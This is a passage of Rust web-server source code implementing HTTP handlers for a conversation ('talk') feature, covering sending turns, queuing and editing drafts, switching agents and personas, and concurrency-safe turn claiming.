9055                        kind: a.kind,
9056                        runnable: agent::installed(a),
9057                    })
9058                    .collect()
9059            })
9060            .unwrap_or_default();
9061        let specs = cfg
9062            .as_ref()
9063            .map(|cfg| cfg.talk.personas.clone())
9064            .unwrap_or_default();
9065        let personas: Vec<_> = persona::catalog(&specs)
9066            .into_iter()
9067            .map(|p| PersonaEntry {
9068                avatar: avatar_url(&ui.home, &talk.id, &p),
9069                id: p.id,
9070                name: p.name,
9071            })
9072            .collect();
9073        let active_persona = persona::find(&specs, &talk.persona)
9074            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9075        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9076        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9077        Ok(Json(serde_json::json!({
9078            "tasks": tasks, "task_progress": task_progress,
9079            "roster": roster, "personas": personas,
9080            "context": talk::context_usage(&talk, cfg.as_ref()),
9081            "context_for": talk.updated_at,
9082            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9083            "persona_name": persona_name,
9084            "persona_avatar": persona_avatar,
9085        })))
9086    })
9087    .await
9088}
9089
9090/// `GET /api/talks/{id}`.
9091async fn talk_detail(
9092    State(ui): State<Arc<Ui>>,
9093    Path(id): Path<String>,
9094) -> ApiResult<Json<TalkDetailView>> {
9095    blocking(move || {
9096        let id = resolve_talk(&ui.talks, &id)?;
9097        let talk = ui.talks.get(&id)?;
9098        let thinking = ui.is_thinking_observed(&talk.id);
9099        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9100        let task_progress = talk_task_progress(&tasks);
9101        let tasks = tasks.into_iter().map(TaskView::from).collect();
9102        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9103        let roster = cfg
9104            .as_ref()
9105            .map(|cfg| {
9106                cfg.agents
9107                    .iter()
9108                    .map(|a| RosterEntry {
9109                        id: a.id.clone(),
9110                        kind: a.kind,
9111                        runnable: agent::installed(a),
9112                    })
9113                    .collect()
9114            })
9115            .unwrap_or_default();
9116        let specs = cfg
9117            .as_ref()
9118            .map(|cfg| cfg.talk.personas.clone())
9119            .unwrap_or_default();
9120        let personas = persona::catalog(&specs)
9121            .into_iter()
9122            .map(|p| PersonaEntry {
9123                avatar: avatar_url(&ui.home, &talk.id, &p),
9124                id: p.id,
9125                name: p.name,
9126            })
9127            .collect();
9128        Ok(Json(TalkDetailView {
9129            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9130            tasks,
9131            task_progress,
9132            roster,
9133            personas,
9134        }))
9135    })
9136    .await
9137}
9138
9139/// The body of `POST /api/talks/{id}/say`.
9140///
9141/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9142/// returned - never bytes of its own - so a turn with no images just omits
9143/// the field, which is what an older front end still does.
9144#[derive(Debug, Default, Deserialize)]
9145#[serde(default, deny_unknown_fields)]
9146struct NewTalkTurn {
9147    reply_to: Option<talk::ReplyTarget>,
9148    text: String,
9149    attachments: Vec<String>,
9150}
9151
9152#[derive(Debug, Deserialize)]
9153#[serde(deny_unknown_fields)]
9154struct EditTalkPending {
9155    #[serde(default)]
9156    message: Option<usize>,
9157    text: String,
9158    expected_text: String,
9159    expected_attachments: Vec<String>,
9160}
9161
9162#[derive(Debug, Deserialize)]
9163#[serde(deny_unknown_fields)]
9164struct ClearTalkPending {
9165    expected_text: String,
9166    expected_attachments: Vec<String>,
9167}
9168
9169/// `POST /api/talks/{id}/say` - one turn of the conversation.
9170///
9171/// Not filesystem work, and therefore not routed through [`blocking`]: this
9172/// route spawns an agent CLI and a turn here can run for the whole of
9173/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9174/// research turn is expected to run commands rather than answer from what it
9175/// already knows. Holding an HTTP connection open that long is not a thing
9176/// to ask a phone to do; the operator's message is recorded and answered for
9177/// immediately, and the reply lands in the background, discovered through
9178/// the change stream's `talks_rev` the same way every other update on this
9179/// surface is.
9180async fn talk_say(
9181    State(ui): State<Arc<Ui>>,
9182    Path(id): Path<String>,
9183    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9184) -> ApiResult<(StatusCode, Json<TalkView>)> {
9185    let admission = ui.begin_admission()?;
9186    admitted(admission, async move {
9187    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9188    if body.text.trim().is_empty() && body.attachments.is_empty() {
9189        return Err(ApiError::bad_request("say something"));
9190    }
9191
9192    let id = {
9193        let ui = Arc::clone(&ui);
9194        let asked = id.clone();
9195        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9196    };
9197    // A closed Talk never accepts a new immediate or queued turn. Check this
9198    // before claiming a slot so its ordinary domain refusal is a 409, not an
9199    // incidental failure from the later record/queue write.
9200    {
9201        let ui = Arc::clone(&ui);
9202        let id = id.clone();
9203        blocking(move || {
9204            let talk = ui.talks.get(&id)?;
9205            if !talk.status.open() {
9206                return Err(ApiError::conflict(format!(
9207                    "talk {} is {} and takes no more turns",
9208                    talk.short(),
9209                    talk.status.as_str()
9210                )));
9211            }
9212            Ok(())
9213        })
9214        .await?;
9215    }
9216
9217    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9218    // actually stores, before anything is written - an unknown id is a 4xx
9219    // that names it rather than a turn (or a queued draft) silently missing
9220    // an image.
9221    let attachments = {
9222        let ui = Arc::clone(&ui);
9223        let id = id.clone();
9224        let ids = body.attachments.clone();
9225        blocking(move || {
9226            ids.into_iter()
9227                .map(|att_id| {
9228                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9229                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9230                    })
9231                })
9232                .collect::<ApiResult<Vec<talk::Attachment>>>()
9233        })
9234        .await?
9235    };
9236    let _publication = crate::consult::publication_guard(&ui.talks, &id)
9237        .await.map_err(ApiError::from)?;
9238
9239    // Pending recovery and a new immediate turn are decided under the same
9240    // claim lock. Without that one critical section, a second `/say` can see
9241    // the first request's claim as "busy" and append itself to the recovered
9242    // draft before the first request rejects it.
9243    let start = {
9244        let ui = Arc::clone(&ui);
9245        let id = id.clone();
9246        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9247    };
9248    let turn_guard = match start {
9249        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9250        TalkTurnStart::Pending => {
9251            return Err(ApiError::conflict(
9252                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9253            ));
9254        }
9255        TalkTurnStart::Foreign => {
9256            return Err(ApiError::conflict(
9257                "a turn is already running in another process; try again when it has finished",
9258            ));
9259        }
9260        TalkTurnStart::Busy => {
9261            // A turn is already running: queue rather than refuse. See
9262            // `Ui::begin_talk_turn` and `talk::queue`.
9263            //
9264            // The queue write and the drain it may owe live inside the task
9265            // `tokio::spawn` hands to the runtime, for the same reason the
9266            // immediate path below puts `record` there: a dropped handler
9267            // future must not be able to land between a durable write and
9268            // the task that answers it. `blocking` runs its closure on
9269            // `spawn_blocking`, which finishes whether or not anyone is left
9270            // to receive its result - so a disconnect at the `.await` below
9271            // would otherwise leave the draft persisted and the reclaimed
9272            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9273            // ever started and the queued text stranded until some later
9274            // `say` happened to pick it up. The caller's 202 travels back
9275            // over a `oneshot`, sent the moment the write lands.
9276            let (tx, rx) = tokio::sync::oneshot::channel();
9277            tokio::spawn({
9278                let ui = Arc::clone(&ui);
9279                let id = id.clone();
9280                let said = body.text.clone();
9281                let reply_to = body.reply_to.clone();
9282                async move {
9283                    let written = blocking({
9284                        let ui = Arc::clone(&ui);
9285                        let id = id.clone();
9286                        move || {
9287                            let mut talk = ui.talks.get(&id)?;
9288                            // A test-only stop point, right before the write
9289                            // an interleaving test needs to pin - see
9290                            // `BusyQueueGate`. `None` in every real server:
9291                            // the field only exists under `#[cfg(test)]`.
9292                            #[cfg(test)]
9293                            if let Some(gate) = ui
9294                                .busy_queue_gate
9295                                .lock()
9296                                .unwrap_or_else(PoisonError::into_inner)
9297                                .take()
9298                            {
9299                                let _ = gate.reached.send(());
9300                                let _ = gate.release.recv();
9301                            }
9302                            if let Err(error) = talk::queue_reply(
9303                                &mut talk,
9304                                &ui.talks,
9305                                &said,
9306                                attachments,
9307                                reply_to,
9308                            ) {
9309                                if let Ok(fresh) = ui.talks.get(&id) {
9310                                    if !fresh.status.open() {
9311                                        return Err(ApiError::conflict(format!(
9312                                            "talk {} is {} and takes no more turns",
9313                                            fresh.short(),
9314                                            fresh.status.as_str()
9315                                        )));
9316                                    }
9317                                }
9318                                return Err(
9319                                    if error.to_string().contains("invalid reply target") {
9320                                        ApiError::bad_request("invalid reply target")
9321                                    } else {
9322                                        ApiError::from(error)
9323                                    },
9324                                );
9325                            }
9326                            // The turn that looked busy a moment ago can have
9327                            // finished, found nothing to drain and given up the
9328                            // slot in the gap between that check and this write
9329                            // landing - see `drain_loop`'s own doc for the other
9330                            // half of why that gap would otherwise be able to
9331                            // open at all. Reclaiming the slot here, rather than
9332                            // trusting that whoever held it is still watching, is
9333                            // what stops the text just queued from being stranded
9334                            // until an unrelated future `say` happens to drain
9335                            // it.
9336                            let claim = match ui.begin_queued_talk_turn(&id)? {
9337                                Some(turn_guard) => {
9338                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9339                                    Some((talk.clone(), cfg, turn_guard))
9340                                }
9341                                None => None,
9342                            };
9343                            let thinking = ui.is_thinking(&id);
9344                            Ok((TalkView::new(talk, thinking, &ui), claim))
9345                        }
9346                    })
9347                    .await;
9348                    #[cfg(not(test))]
9349                    {
9350                        match written {
9351                            Ok((view, reclaimed)) => {
9352                                let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
9353                                drop(reclaimed);
9354                                match launched {
9355                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9356                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9357                                }
9358                            }
9359                            Err(error) => { let _ = tx.send(Err(error)); }
9360                        }
9361                    }
9362                    #[cfg(test)]
9363                    {
9364                    let (view, reclaimed) = match written {
9365                        Ok(pair) => pair,
9366                        Err(e) => {
9367                            // Nobody is listening if the handler's own future
9368                            // was already dropped - that is fine, nothing was
9369                            // persisted and there is no response left to carry
9370                            // this error to.
9371                            let _ = tx.send(Err(e));
9372                            return;
9373                        }
9374                    };
9375                    // If this fails, the caller is gone; the drain below still
9376                    // runs exactly as it would have for a caller that stayed.
9377                    let _ = tx.send(Ok(view));
9378                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9379                        let talks = ui.talks.clone();
9380                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9381                    }
9382                    }
9383                }
9384            });
9385            let view = rx
9386                .await
9387                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9388            return Ok((StatusCode::ACCEPTED, Json(view)));
9389        }
9390    };
9391
9392    let (talk, cfg) = {
9393        let ui = Arc::clone(&ui);
9394        let id = id.clone();
9395        blocking(move || {
9396            let talk = ui.talks.get(&id)?;
9397            let (cfg, _) = Config::discover(&talk.repo, None)?;
9398            Ok((talk, cfg))
9399        })
9400        .await?
9401    };
9402
9403    let talks = ui.talks.clone();
9404    // `record` runs *inside* the spawned task, rather than in this handler
9405    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9406    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9407    // doc), and that drop can land at any `.await` this function makes,
9408    // including one that has already produced its result but not yet
9409    // resumed. A message could end up recorded on disk with the handler
9410    // future gone before it ever reached the `tokio::spawn` that would have
9411    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9412    // that hands the whole future to the runtime as one unit - once made, no
9413    // later drop of *this* handler's own future (that call's return value is
9414    // never held onto here) can reach back in and stop it, so record and the
9415    // hand-off to `respond` are unconditionally atomic from the client's
9416    // point of view. The immediate response this handler owes the caller
9417    // travels back over a `oneshot`, sent the moment `record` succeeds.
9418    let (tx, rx) = tokio::sync::oneshot::channel();
9419    tokio::spawn({
9420        #[cfg(test)]
9421        let ui = Arc::clone(&ui);
9422        let talks = talks.clone();
9423        let id = id.clone();
9424        let said = body.text.clone();
9425        let reply_to = body.reply_to.clone();
9426        let mut talk = talk.clone();
9427        async move {
9428            let recorded = blocking({
9429                let talks = talks.clone();
9430                move || {
9431                    if let Err(error) =
9432                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9433                    {
9434                        if let Ok(fresh) = talks.get(&talk.id) {
9435                            if !fresh.status.open() {
9436                                return Err(ApiError::conflict(format!(
9437                                    "talk {} is {} and takes no more turns",
9438                                    fresh.short(),
9439                                    fresh.status.as_str()
9440                                )));
9441                            }
9442                        }
9443                        return Err(if error.to_string().contains("invalid reply target") {
9444                            ApiError::bad_request("invalid reply target")
9445                        } else {
9446                            ApiError::from(error)
9447                        });
9448                    }
9449                    // `record` mutates `talk` in place to the freshly persisted
9450                    // state (status, pending, and the just-appended operator
9451                    // turn), so returning it here is equivalent to re-reading it
9452                    // from disk - without the extra round trip a re-read would
9453                    // need.
9454                    Ok((said.trim().to_owned(), talk))
9455                }
9456            })
9457            .await;
9458            let (text, talk) = match recorded {
9459                Ok(pair) => pair,
9460                Err(e) => {
9461                    // Nobody is listening if the handler's own future was
9462                    // already dropped - that is fine, there is no response
9463                    // left to carry this error to and nothing was persisted.
9464                    let _ = tx.send(Err(e));
9465                    return;
9466                }
9467            };
9468            #[cfg(not(test))]
9469            {
9470                let _ = (&cfg, &text);
9471                // The reservation becomes durable while this process still
9472                // holds the talk lease. The child waits for that lease; the
9473                // new UI sees its startup reservation immediately.
9474                let result = crate::consult::spawn_recorded_turn(
9475                    &talks, &id, talk.turns.len() - 1,
9476                ).await;
9477                drop(turn_guard);
9478                match result {
9479                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9480                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9481                }
9482            }
9483            #[cfg(test)]
9484            {
9485            let queued = talk.clone();
9486            let mut talk = talk;
9487            let thinking = ui.is_thinking(&id);
9488            // If this fails, the caller is gone; the turn still runs below
9489            // exactly as it would have for a caller that stayed connected.
9490            let _ = tx.send(Ok((queued, thinking)));
9491
9492            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9493                // `respond` records the failure in the transcript itself,
9494                // which is what the phone reads; this line is for the
9495                // operator's terminal.
9496                tracing::warn!("talk {id} turn failed: {e:#}");
9497            }
9498            // Anything `talk::queue` added while the turn above was running
9499            // is still owed an answer - see `drain_loop`.
9500            drain_loop(talk, talks, cfg, id, turn_guard).await;
9501            }
9502        }
9503    });
9504
9505    let (queued, thinking) = rx
9506        .await
9507        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9508
9509    // 202: the operator's message is recorded and a turn is running.
9510    Ok((
9511        StatusCode::ACCEPTED,
9512        Json(TalkView::new(queued, thinking, &ui)),
9513    ))
9514    }).await
9515}
9516
9517/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9518/// changing it. The turn guard is the same per-talk ownership `talk_say`
9519/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9520async fn talk_pending_resume(
9521    State(ui): State<Arc<Ui>>,
9522    Path(id): Path<String>,
9523) -> ApiResult<(StatusCode, Json<TalkView>)> {
9524    let admission = ui.begin_admission()?;
9525    admitted(admission, async move {
9526        let id = {
9527            let ui = Arc::clone(&ui);
9528            let asked = id.clone();
9529            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9530        };
9531        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9532            .await
9533            .map_err(ApiError::from)?;
9534        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9535            return Err(ApiError::conflict(
9536                "a talk turn is already running; the queued draft will be handled by it",
9537            ));
9538        };
9539        let (talk, cfg) = {
9540            let ui = Arc::clone(&ui);
9541            let id = id.clone();
9542            blocking(move || {
9543                let talk = ui.talks.get(&id)?;
9544                if !talk.status.open() {
9545                    return Err(ApiError::conflict(format!(
9546                        "talk {} is {} and takes no more turns",
9547                        talk.short(),
9548                        talk.status.as_str()
9549                    )));
9550                }
9551                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9552                    return Err(ApiError::conflict("there is no queued draft to resume"));
9553                }
9554                let (cfg, _) = Config::discover(&talk.repo, None)?;
9555                Ok((talk, cfg))
9556            })
9557            .await?
9558        };
9559        let view = TalkView::new(talk.clone(), true, &ui);
9560        let talks = ui.talks.clone();
9561        #[cfg(not(test))]
9562        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9563        #[cfg(test)]
9564        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9565        Ok((StatusCode::ACCEPTED, Json(view)))
9566    })
9567    .await
9568}
9569
9570/// Hand off an admitted draft while retaining the talk lease until its
9571/// detached startup reservation is durable.
9572#[cfg(not(test))]
9573async fn detach_talk_turn(
9574    _talk: Talk,
9575    talks: Talks,
9576    _cfg: Config,
9577    id: String,
9578    turn: TalkTurnGuard,
9579) -> ApiResult<()> {
9580    let launched = crate::consult::spawn_turn(&talks, &id).await;
9581    drop(turn);
9582    launched.map(|_| ()).map_err(ApiError::from)
9583}
9584
9585#[cfg(test)]
9586async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9587    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9588}
9589
9590/// A settings response must not report idle while its claim is still held.
9591/// Wait until the first drain either releases the claim or promotes a draft.
9592/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9593async fn settle_settings_turn(
9594    talk: Talk,
9595    talks: Talks,
9596    cfg: Config,
9597    id: String,
9598    turn: TalkTurnGuard,
9599    observed: u64,
9600) -> bool {
9601    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9602        let turns = Arc::clone(&turn.turns);
9603        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9604        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9605            // Release under the arrival lock; a later `/say` takes its own claim.
9606            turn.release(&mut live);
9607            return false;
9608        }
9609    }
9610    let (started, settled) = tokio::sync::oneshot::channel();
9611    tokio::spawn(drain_loop_started(
9612        talk,
9613        talks,
9614        cfg,
9615        id,
9616        turn,
9617        Some(started),
9618    ));
9619    settled.await.unwrap_or(false)
9620}
9621
9622#[cfg(not(test))]
9623async fn drain_loop_started(
9624    talk: Talk,
9625    talks: Talks,
9626    _cfg: Config,
9627    id: String,
9628    turn: TalkTurnGuard,
9629    started: Option<tokio::sync::oneshot::Sender<bool>>,
9630) {
9631    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9632    let running = if pending {
9633        match crate::consult::spawn_turn(&talks, &id).await {
9634            Ok(_) => true,
9635            Err(error) => {
9636                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9637                false
9638            }
9639        }
9640    } else {
9641        false
9642    };
9643    drop(turn);
9644    if let Some(started) = started {
9645        let _ = started.send(running);
9646    }
9647}
9648
9649// Existing in-process conversation tests exercise transcript/arrival ordering;
9650// real process-lifetime behavior is covered by the CLI integration tests.
9651#[cfg(test)]
9652async fn drain_loop_started(
9653    mut talk: Talk,
9654    talks: Talks,
9655    cfg: Config,
9656    id: String,
9657    turn: TalkTurnGuard,
9658    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9659) {
9660    let live_set = Arc::clone(&turn.turns);
9661    // `Option` rather than binding `turn` directly to a `_turn` that lives
9662    // for the whole function: releasing it has to happen by calling
9663    // `TalkTurnGuard::release` from inside the locked branch below, which
9664    // takes `self` by value. Left as a plain drop instead, `Drop` would still
9665    // remove the id - correctly, if this loop is ever left some other way -
9666    // but doing it there misses the lock this loop is already holding, which
9667    // is the exact gap `release` exists to close.
9668    let mut turn = Some(turn);
9669    loop {
9670        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9671            // The lease was taken over while a turn ran. Whatever is queued
9672            // stays a draft; running it here would race the new owner.
9673            tracing::warn!("talk {id} lost its turn lease; not draining further");
9674            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9675            if let Some(turn) = turn.take() {
9676                turn.release(&mut live);
9677            }
9678            break;
9679        }
9680        // `talk::drain` takes the store lock and can write/rename the talk
9681        // file. Keep the turn mutex out of that synchronous work: it protects
9682        // every talk's in-memory claim, not this talk's disk operation.
9683        let observed = live_set
9684            .lock()
9685            .unwrap_or_else(PoisonError::into_inner)
9686            .queued
9687            .get(&id)
9688            .copied()
9689            .unwrap_or(0);
9690        let drained = blocking({
9691            let talks = talks.clone();
9692            move || {
9693                let result = talk::drain(&mut talk, &talks);
9694                Ok((talk, result))
9695            }
9696        })
9697        .await;
9698        let (next_talk, result) = match drained {
9699            Ok(drained) => drained,
9700            Err(e) => {
9701                tracing::warn!(
9702                    status = %e.status,
9703                    message = %e.message,
9704                    "talk {id} could not start queued-text drain"
9705                );
9706                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9707                turn.take()
9708                    .expect("held for the whole loop until released here")
9709                    .release(&mut live);
9710                break;
9711            }
9712        };
9713        talk = next_talk;
9714        let drained = match result {
9715            Ok(Some(drained)) => drained,
9716            Ok(None) => {
9717                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9718                if live.queued.get(&id).copied().unwrap_or(0) != observed {
9719                    continue;
9720                }
9721                turn.take()
9722                    .expect("held for the whole loop until released here")
9723                    .release(&mut live);
9724                break;
9725            }
9726            Err(e) => {
9727                tracing::warn!("talk {id} could not drain queued text: {e:#}");
9728                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9729                turn.take()
9730                    .expect("held for the whole loop until released here")
9731                    .release(&mut live);
9732                break;
9733            }
9734        };
9735        if let Some(started) = started.take() {
9736            let _ = started.send(true);
9737        }
9738        let responded = match turn.as_ref() {
9739            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9740            None => Err(anyhow::anyhow!("the turn guard was released")),
9741        };
9742        if let Err(e) = responded {
9743            tracing::warn!("talk {id} turn failed: {e:#}");
9744        }
9745    }
9746    drop(turn);
9747    if let Some(started) = started {
9748        let _ = started.send(false);
9749    }
9750}
9751
9752/// Clear a queued draft only if it remains exactly the one the caller saw.
9753async fn talk_pending_clear(
9754    State(ui): State<Arc<Ui>>,
9755    Path(id): Path<String>,
9756    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9757) -> ApiResult<Json<TalkView>> {
9758    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9759    blocking(move || {
9760        let id = resolve_talk(&ui.talks, &id)?;
9761        let mut talk = ui.talks.get(&id)?;
9762        if !talk.status.open() {
9763            return Err(ApiError::conflict(format!(
9764                "talk {} is {} and takes no more turns",
9765                talk.short(),
9766                talk.status.as_str()
9767            )));
9768        }
9769        if !talk::clear_pending_if_matches(
9770            &mut talk,
9771            &ui.talks,
9772            &body.expected_text,
9773            &body.expected_attachments,
9774        )? {
9775            return Err(ApiError::conflict(
9776                "queued message changed; reload it before clearing",
9777            ));
9778        }
9779        let thinking = ui.is_thinking(&talk.id);
9780        Ok(Json(TalkView::new(talk, thinking, &ui)))
9781    })
9782    .await
9783}
9784
9785/// Atomically edit a queued draft's text while preserving its attachments.
9786/// The snapshot fields make a concurrent queue or drain a conflict rather
9787/// than silently discarding either message.
9788async fn talk_pending_edit(
9789    State(ui): State<Arc<Ui>>,
9790    Path(id): Path<String>,
9791    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9792) -> ApiResult<Json<TalkView>> {
9793    let admission = ui.begin_admission()?;
9794    admitted(admission, async move {
9795        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9796        let id = {
9797            let ui = Arc::clone(&ui);
9798            blocking(move || resolve_talk(&ui.talks, &id)).await?
9799        };
9800        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9801            .await
9802            .map_err(ApiError::from)?;
9803        let (view, reclaimed) = blocking({
9804            let ui = Arc::clone(&ui);
9805            move || {
9806                let mut talk = ui.talks.get(&id)?;
9807                if !talk.status.open() {
9808                    return Err(ApiError::conflict(format!(
9809                        "talk {} is {} and takes no more turns",
9810                        talk.short(),
9811                        talk.status.as_str()
9812                    )));
9813                }
9814                if !talk::edit_pending_message(
9815                    &mut talk,
9816                    &ui.talks,
9817                    &body.text,
9818                    &body.expected_text,
9819                    &body.expected_attachments,
9820                    body.message,
9821                )? {
9822                    return Err(ApiError::conflict(
9823                        "queued message changed; reload it before editing",
9824                    ));
9825                }
9826                let claim = match ui.begin_queued_talk_turn(&id)? {
9827                    Some(turn_guard) => {
9828                        let (cfg, _) = Config::discover(&talk.repo, None)?;
9829                        Some((talk.clone(), cfg, id.clone(), turn_guard))
9830                    }
9831                    None => None,
9832                };
9833                let thinking = ui.is_thinking(&id);
9834                Ok((TalkView::new(talk, thinking, &ui), claim))
9835            }
9836        })
9837        .await?;
9838        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9839            let talks = ui.talks.clone();
9840            #[cfg(not(test))]
9841            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9842            #[cfg(test)]
9843            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9844        }
9845        Ok(Json(view))
9846    })
9847    .await
9848}
9849
9850/// The 409 for a talk that takes no more turns.
9851fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9852    if talk.status.open() {
9853        return Ok(());
9854    }
9855    Err(ApiError::conflict(format!(
9856        "talk {} is {} and takes no more turns",
9857        talk.short(),
9858        talk.status.as_str()
9859    )))
9860}
9861
9862/// The body of `POST /api/talks/{id}/agent`.
9863#[derive(Debug, Deserialize)]
9864struct TalkAgent {
9865    agent: String,
9866}
9867
9868/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
9869/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
9870/// start a turn on the old session between the check and the write; one that
9871/// arrives in that window finds the talk busy and becomes a draft.
9872async fn talk_agent(
9873    State(ui): State<Arc<Ui>>,
9874    Path(id): Path<String>,
9875    Json(body): Json<TalkAgent>,
9876) -> ApiResult<Json<TalkView>> {
9877    let admission = ui.begin_admission()?;
9878    admitted(admission, async move {
9879        let id = {
9880            let ui = Arc::clone(&ui);
9881            blocking(move || resolve_talk(&ui.talks, &id)).await?
9882        };
9883        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9884            .await
9885            .map_err(ApiError::from)?;
9886        let repo = {
9887            let ui = Arc::clone(&ui);
9888            let id = id.clone();
9889            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9890        };
9891        let cfg = config_for(&repo).await?;
9892        // Refuse before taking the claim; see `talk_implementers`.
9893        {
9894            let ui = Arc::clone(&ui);
9895            let id = id.clone();
9896            let cfg = cfg.clone();
9897            let wanted = body.agent.clone();
9898            blocking(move || {
9899                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9900                    .map_err(ApiError::bad_request_from)?;
9901                refuse_if_closed(&ui.talks.get(&id)?)
9902            })
9903            .await?;
9904        }
9905        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9906            return Err(ApiError::conflict(
9907                "a talk turn is running; change the agent once it has answered",
9908            ));
9909        };
9910        let switched = {
9911            let ui = Arc::clone(&ui);
9912            let id = id.clone();
9913            let cfg = cfg.clone();
9914            blocking(move || {
9915                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9916                    .map_err(ApiError::bad_request_from)?;
9917                let mut talk = ui.talks.get(&id)?;
9918                if !talk.status.open() {
9919                    return Err(ApiError::conflict(format!(
9920                        "talk {} is {} and takes no more turns",
9921                        talk.short(),
9922                        talk.status.as_str()
9923                    )));
9924                }
9925                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9926                Ok(talk)
9927            })
9928            .await
9929        };
9930        // A `/say` that landed while this held the claim saw the talk busy and
9931        // left a durable draft, trusting the claim's owner to drain it. So the
9932        // claim is settled whatever the outcome. Release an empty draft's claim
9933        // before replying; queued drafts continue independently of the handler.
9934        let observed = ui.queued_generation(&id);
9935        let fresh = {
9936            let ui = Arc::clone(&ui);
9937            let id = id.clone();
9938            blocking(move || Ok(ui.talks.get(&id)?)).await
9939        };
9940        let draining = match fresh {
9941            Ok(talk) => {
9942                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9943            }
9944            Err(_) => false,
9945        };
9946        let talk = switched?;
9947        Ok(Json(TalkView::new(talk, draining, &ui)))
9948    })
9949    .await
9950}
9951
9952/// The body of `POST /api/talks/{id}/persona`.
9953#[derive(Debug, Deserialize)]
9954struct TalkPersona {
9955    persona: String,
9956}
9957
9958/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
9959/// like [`talk_agent`]: the turn guard is held for the change and always handed
9960/// to `drain_loop`, so a draft left meanwhile is not stranded.
9961async fn talk_persona(
9962    State(ui): State<Arc<Ui>>,
9963    Path(id): Path<String>,
9964    Json(body): Json<TalkPersona>,
9965) -> ApiResult<Json<TalkView>> {
9966    let admission = ui.begin_admission()?;
9967    admitted(admission, async move {
9968        let id = {
9969            let ui = Arc::clone(&ui);
9970            blocking(move || resolve_talk(&ui.talks, &id)).await?
9971        };
9972        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9973            .await
9974            .map_err(ApiError::from)?;
9975        let repo = {
9976            let ui = Arc::clone(&ui);
9977            let id = id.clone();
9978            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9979        };
9980        let cfg = config_for(&repo).await?;
9981        // Refuse before taking the claim; see `talk_implementers`.
9982        {
9983            let ui = Arc::clone(&ui);
9984            let id = id.clone();
9985            let cfg = cfg.clone();
9986            let wanted = body.persona.clone();
9987            blocking(move || {
